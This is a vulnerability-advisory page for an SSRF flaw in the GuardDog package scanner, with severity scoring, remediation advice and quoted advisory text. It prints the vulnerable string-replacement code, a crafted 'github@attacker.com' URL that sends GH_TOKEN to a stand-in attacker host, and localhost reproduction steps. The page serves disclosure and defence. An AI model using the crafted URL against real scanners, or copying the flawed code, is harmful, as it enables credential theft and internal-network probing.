Skip to main content

GuardDog EUVDEUVD-2026-32535

| CVE-2026-44971 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-11 https://github.com/DataDog/guarddog GHSA-587r-mc96-6f2p
8.2
CVSS 3.1 · Vendor: https://github.com/DataDog/guarddog
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts malicious URL
  2. Delivery
    Victim invokes scan_remote() with attacker URL
  3. Exploit
    GuardDog performs blind string replacement
  4. Install
    HTTP request sent to attacker host
  5. C2
    GH_TOKEN transmitted in Authorization header
  6. Execute
    Attacker captures credentials
  7. Impact
    Access private repositories or inject malicious code

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that GuardDog's scan_remote() method is invoked with an attacker-controlled repository URL parameter. This occurs when GuardDog is used programmatically to scan third-party packages, user-submitted repositories, or any URL sourced from untrusted input (package metadata, API parameters, CI/CD pipeline configurations). The attacker must control the 'url' parameter passed to ProjectScanner.scan_remote() or PypiRequirementsScanner().scan_remote(). Environment must have GH_TOKEN and optionally GIT_USERNAME configured (standard for authenticated GitHub API access). No user interaction required (UI:N). No authentication required from the attacker's perspective (PR:N). Default configurations are vulnerable - no non-default settings needed. Attack complexity is LOW (AC:L) because URL crafting is straightforward using standard userinfo component syntax. Limits to exploitation: if GuardDog is only used via CLI with manually-vetted repository URLs, or scanning is restricted to an internal allowlist of trusted GitHub repositories, the attack surface is significantly reduced. The vulnerability specifically affects programmatic API usage where external or user-influenced URLs reach scan_remote().

Impact

Real-world risk is HIGH for organizations using GuardDog programmatically to scan untrusted repositories. CVSS 8.2 (AV:N/AC:L/PR:N/UI:N) indicates remote attackers need no privileges or user interaction, though exploitation requires the victim's GuardDog instance to scan an attacker-controlled URL. The Confidentiality impact (C:H) correctly reflects GH_TOKEN exfiltration, which can grant broad repository access depending on token scope. Integrity impact (L) accounts for potential malicious dependency injection via fake requirements.txt responses. No EPSS score or CISA KEV status provided, suggesting this is newly disclosed (2026-03-18 per advisory). Publicly available exploit code exists via the detailed reproduction steps in GHSA-587r-mc96-6f2p, lowering the bar for exploitation. CRITICAL GAP: No vendor-released patch exists despite public disclosure - affected versions span 1.0.0 to 2.9.0 with fix version listed as 'None'. This significantly elevates risk for current users who must implement workarounds rather than upgrade. Attack complexity is LOW because URL crafting is trivial and GuardDog's use case (scanning third-party repositories) naturally exposes the attack surface. Priority should be CRITICAL for any deployment scanning untrusted or external repositories, MEDIUM for internal-only scanning where URL control is restricted.

Exploit ScenarioDerived

An attacker submits a malicious PyPI package with a homepage field pointing to 'http://github@attacker.com:8080/fake/repo'. When a security team uses GuardDog's scan_remote() to analyze this package's dependencies, GuardDog performs the blind string replacement, transforming the URL to 'http://raw.githubusercontent@attacker.com:8080/fake/repo/main/requirements.txt'. The Python requests library sends an HTTP GET to attacker.com:8080 with the Authorization header containing the Base64-encoded GH_TOKEN. The attacker's listener captures the credentials, decodes them to obtain a valid GitHub personal access token, and uses it to access private repositories or inject malicious code into repositories with write access. Publicly available exploit code exists via detailed reproduction steps in the GitHub advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Server-side request forgery (SSRF) in GuardDog 1.0.0 through 2.9.0 allows remote attackers to exfiltrate GitHub personal access tokens and probe internal networks via malicious repository URLs. The vulnerability stems from blind string replacement in ProjectScanner.scan_remote() that fails to validate hostnames before appending authentication credentials. No vendor-released patch identified at time of analysis. Publicly available exploit code exists via GitHub advisory reproduction steps. CVSS 8.2 (High) with network vector and no authentication required.

RemediationAI

No vendor-released patch identified at time of analysis (fix version listed as None for vulnerable range 1.0.0-2.9.0). Users must implement immediate compensating controls: (1) Restrict scan_remote() to only scan repositories from a predefined allowlist of trusted GitHub URLs, validating that parsed hostname equals 'github.com' before passing to GuardDog. (2) Remove or rotate any GitHub personal access tokens (GH_TOKEN) that may have been exposed to untrusted scanning targets; review GitHub audit logs for unauthorized access using compromised tokens. (3) Implement network egress filtering to block outbound HTTP/HTTPS from GuardDog scanner processes to non-GitHub IP ranges, preventing SSRF to internal services - note this may break legitimate functionality if GuardDog needs to scan self-hosted Git instances. (4) For programmatic integrations, fork the GuardDog repository and apply the suggested fix from the advisory: parse input URLs using urllib.parse, enforce hostname == 'github.com', validate path structure matches owner/repo pattern, construct raw.githubusercontent.com URLs from validated components rather than string replacement, and implement strict hostname validation before attaching authentication headers. Monitor the vendor advisory at https://github.com/DataDog/guarddog/security/advisories/GHSA-587r-mc96-6f2p for patch availability. Each workaround has trade-offs: URL allowlisting prevents scanning new repositories without manual approval; egress filtering may block legitimate use cases; forking requires maintaining a custom build.

Affected VersionsENISA

guarddog 1.0.0, ≤ 2.9.0

Affected Packages

pypi guarddog no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GuardDog is a Python security scanner for PyPI and npm packages (pkg:pip/guarddog). The vulnerability exists in ProjectScanner.scan_remote() at guarddog/scanners/scanner.py lines 361-365. The method performs a naive string replacement (url.replace('github', 'raw.githubusercontent')) to convert GitHub repository URLs to raw content URLs without parsing or validating the hostname component. This violates the principle of treating URLs as structured data, classified as CWE-918 (Server-Side Request Forgery). The Python requests library correctly interprets URL components, so a crafted URL like 'http://github@attacker.com' has 'github' as a username in the userinfo component, not part of the hostname. After string replacement, the request targets the attacker-controlled host while carrying GitHub credentials via HTTP Basic Auth. The vulnerability affects all programmatic callers of scan_remote() between versions 1.0.0 and 2.9.0, with CPE pkg:pip/guarddog covering the affected package.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/DataDog/guarddog) PRIMARY 8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Primary rating from Vendor (https://github.com/DataDog/guarddog) · only source for this CVE.

CVSS VectorVendor: https://github.com/DataDog/guarddog

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

python
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

text
http://github@127.0.0.1:18081/owner/repo

is transformed into:

text
http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

  1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
  2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
  3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
  4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

  • guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

  • theft of the GitHub PAT configured in GH_TOKEN
  • SSRF to internal or localhost services reachable by the scanner
  • attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Executive ViewAI

Why It Matters

GuardDog versions 1.0.0 through 2.9.0 contain an unauthenticated server-side request forgery vulnerability that allows attackers to exfiltrate GitHub personal access tokens and map internal network infrastructure by crafting malicious repository URLs. Organizations using GuardDog for dependency scanning face immediate credential compromise and lateral movement risks if processing untrusted repository inputs.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable remote repository scanning functionality in GuardDog configuration; (2) Enforce network-level egress filtering to block GuardDog processes from reaching internal services and external attacker-controlled hosts; (3) Rotate GitHub personal access tokens immediately and replace with short-lived tokens with minimal required scopes; (4) Implement air-gapped or fully isolated execution environments for GuardDog until patched version is available.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy